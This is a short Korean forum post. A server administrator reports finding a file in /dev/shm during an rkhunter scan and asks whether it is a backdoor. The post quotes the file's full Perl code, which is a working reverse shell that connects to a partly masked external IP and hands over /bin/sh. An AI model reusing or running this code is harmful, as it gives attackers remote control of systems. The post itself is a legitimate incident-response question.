펄 프로그램인데 백도어가 맞는지

안녕하세요? rkhutner 로 서버 점검을 하던중 /dev/shm /디렉토리에서 파일을 발견 하였습니다.

파일 내용은

#!/usr/bin/perl
use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp'); socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); $sin = sockaddr_in(3303 ,inet_aton("xxx.xx.9.226"   )); connect(Socket_Handle,$sin); dup2(Socket_Handle->fileno, 0); dup2(Socket_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); exec { "/bin/sh" } "";

궁금한 점이 이게 백도어가 맞느냐 아님 그냥 시스템 파일이냐가 궁금합니다.